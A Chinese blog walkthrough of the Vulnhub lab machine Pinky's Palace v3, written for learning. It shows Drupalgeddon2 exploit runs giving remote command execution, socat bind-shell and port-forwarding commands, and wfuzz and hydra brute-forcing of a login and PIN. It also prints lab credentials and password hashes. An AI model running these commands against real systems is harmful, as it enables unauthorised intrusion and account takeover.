Vulnhub-靶机-Pinky's Palace: v3

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现,本次是直接根据靶机目标给出的地址进行测试

目标靶机的下载地址:https://www.vulnhub.com/entry/pinkys-palace-v3,237/

 如图中所示,靶机地址是192.168.5.135

首先尝试全端口扫描,具体如下: nmap -sC -sV -p- 192.168.5.135

 发现开放了3个端口,先测试下ftp,这里根据nmap的扫描结果发现是可以允许匿名登陆的,那么尝试登陆看看

登陆ftp我个人喜好使用lftp,因为他支持tab键

匿名登陆成功

这里大家仔细看上面的截图,一把正常情况下是只含有一个点,和两个点,那么这里有一个3个点的文件,很可能就是隐藏文件,我们尝试进入看看

成功进入此隐藏目录,再次尝试使用命令查看隐藏文件

发现有个.bak文件夹

进入.bak文件夹之后发现有个firewall文件,下载下来看看

 查看firewall.sh文件内容

 iptables相关知识可以参考:

https://blog.csdn.net/sinat_27261621/article/details/93893712

https://blog.csdn.net/qq_38892883/article/details/79709023

大概意思是提权不了,不允许外部连接进来,发现有NEW状态则直接被block

那么我们只能看看下一个开放的端口试试,先从web 看看是否能够打开突破口

根据上面nmap扫描的结果访问 http://192.168.5.135:8000/CHANGELOG.txt 可以知道当前目标靶机的版本是7.57

当然,上述也是可以手工访问robots.txt查看暴露出来的URL地址进行判断,此时知道目标靶机的版本,那么就可以尝试找找是否存在对应的exploit

经过谷歌搜索或者在kali上执行searchsploit搜索对应的exp ,具体如下所示:

对应的exp地址 https://www.exploit-db.com/exploits/44449 ,也可以通过kali自身找到上述展示的44449.rb

执行对应的exp 发现如下报错

 根据作者反馈是因为没有安装对应的包,具体原因在这里:https://github.com/dreadlocked/Drupalgeddon2/issues/55 那么我们尝试安装一下。

尝试安装发现还是有问题

 那么就直接下载对应缺少的包specs.4.8.gz,具体如下,由于下载的比较慢,就是要了proxychains

 下载完成之后开始解压

解压出来放在当前目录下就可以,然后在当前目录下执行安装的命令 sudo gem install highline

 再次尝试执行exp,确认是否能够正常执行

 OK,发现是没问题的,可以直接执行,那么我们开始直接执行exp获取目标的权限

这里也可以使用另一种方式的exp直接远程执行命令,对应exp地址:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py

下载exp

proxychains curl -o drupal7.py -fsSL https://raw.githubusercontent.com/Jack-Barradell
/exploits/master/CVE-2018-7600/cve-2018-7600-drupal7.py

下载完成之后直接使用python3执行即可,如下演示:

python3 drupal7.py -t 192.168.5.135 -c "id" -p 8000

这里有一种生成交互shell的姿势,演示一下:

在目标靶机上通过这个exp远程执行命令: python3 drupal7.py -t 192.168.5.135 -c "socat TCP-LISTEN:4488,reuseaddr,fork, EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000

目的就是达到在目标靶机上监听一个4488的端口

然后本机kali上执行主动连接目标靶机的4488端口

socat FILE:`tty`,raw,echo=0 TCP:192.168.5.135:4488

成功拿到交互式shell,此时刚刚执行的监听4488端口已经有如下反馈:

这个不影响,继续向下搞,根据上述的网络连接情况,可以知道开放的8000端口是nginx,那么看看nginx的配置

cat /etc/nginx/sites-available/default

发现开放了80端口,再次查看网络连接状态

确认是本地监听80端口,想要访问的方便,需要进行端口转发了,这个先放着,再看看发现有监听数据库3306,那么肯定有数据库在使用,因为我们是通过web页面进来的,那么这个web有可能使用了此数据库,那么目前获得的shell就是在当前web的根目录下面,那么直接看看有没有配置文件,具体操作看下面演示:

通过查看setting.php,发现了数据库密码

数据库账户dpink 密码是drupink,开始登陆数据库

 

发现账户和加密的密码,尝试破解无果

pinkadmin | $S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup
test | $S$DBGqtQUQc4ft.uP0RTmHAauVzyz.RqwP/y.obFrOz8DbaJcviwDz

再看看网络连接的情况,发现还监听了一个65334端口,可以确认不是nginx监听的端口,那么尝试查看etc目录下是否存在其他类似nginx的中间件,倒腾翻了一遍,发现存在apache2文件夹,进入该文件夹查看相关配置文件,如下:

 

确认80和65334端口是通过Apache进行监听的,同时对于的web根目录就是在用户pinksec这个用户的家目录下,此时需要突破的目标就是拿到用户pinksec的权限

由于80和65334端口是监听在本地,为了方便访问,尝试使用socat进行端口转发,执行如下命令

socat TCP-LISTEN:4499,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:4466,fork TCP:127.0.0.1:65334 &

此时我们发现已经做了端口转发了,具体如下:

 访问转发的端口

 

根据192.168.5.135:4466的访问结果,使用crunch命令生成指定范围内的爆破字典文件为暴力破解做准备

crunch 3 5 -f /usr/share/crunch/charset.lst lalpha -o pinkdbcrunsh

这里就是gobuster进行暴力破解目录,默认kali下面没有安装,直接使用apt-get install gobuster 安装即可

开始暴力破解目录

gobuster dir -u http://192.168.5.135:4466 -w pinkdbcrunsh -x db

 访问暴力破解出来的目录数据库文件,这里面存的就是某用户对于的某密码

知道目标的密码范围之后,根据目标靶机执行的cat /etc/passwd里面的用户信息和数据库信息猜测可能存在如下用户名

vim usernames.txt

pinksec

pinkadmin

pinksecmanagement

pinky

dpink

将目标http://192.168.5.135:4466/pwds.db 文件下载下来作为密码字典进行暴力破解

这里使用wfuzz

参数说明:
-c 用颜色输出,如果不加,那么输出的是没有任何颜色
-z 指定有效的payload(类型,参数,编码,字典等)
-d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 'user=FUZZ&pass=FUZ2Z&pin=33221'
-hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41

wfuzz -c -z file,./usernames.txt -z file,./pwds.db -d 'user=FUZZ&pass=FUZ2Z&pin=33221' --hh 45 http://192.168.5.135:4499/login.php

因为登陆目标http://192.168.5.135:4499/ 还需要一个pin值,并且是5位纯数字,那么我们可以使用crunch进行生成5位纯数字字典 首先生成纯5位数字的pin码

crunch 5 5 -f /usr/share/crunch/charset.lst numeric -o pin.txt

到了这一步就可以开始对web登陆页面进行暴力破解了,这里可以使用hydra,wfuzz,burpsuite

这里暴力破解是需要花些时间的,需要耐心

wfuzz破解pin码

所以总结下来,得出账户名和密码及pin码如下:

pinkadmin - AaPinkSecaAdmin4467 - 55849

wfuzz的用法参考:

https://blog.csdn.net/JBlock/article/details/88619117

https://blog.csdn.net/wxh09/article/details/88167586

还可以使用hydra

hydra -L pin.txt -P pwds.db 192.168.5.135 -s 4499 http-post-form "/login.php:user=pinkadmin&pass=^PASS^&pin=^USER^:F=Incorrect"

但是我测试的效果不是太好

通过上面的账户和密码和pin码直接登录http://192.168.5.135:4499

发现是可以执行命令的

执行的用户是pinksec,既然能执行命令,那么就直接使用socat打个隧道

socat TCP-LISTEN:1688,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

然后在kali上主动连接1688端口即可

socat FILE:`tty`,raw,echo=0 TCP:192.168.5.135:1688

 

反看所在的目录和上级目录,发现bin目录然后里面有个二进制文件

通过移动此二进制文件到目标web的根目录下载到本地然后,分析,这里我目前不打算演示了,二进制不懂哈,感兴趣的参考下面几个wirteup

https://reboare.github.io/pinky/pinkys-palace-v3.html

https://medium.com/egghunter/pinkys-palace-v3-vulnhub-walkthrough-619344a21efe

https://blog.csdn.net/qq_34801745/article/details/104105321

https://d.oulove.me/2019/06/27/Pinky-s-Palace-v3-walkthrough/

 

posted @ 2020-08-17 17:51  皇帽讲绿帽带法技巧  阅读(556)  评论(0编辑  收藏  举报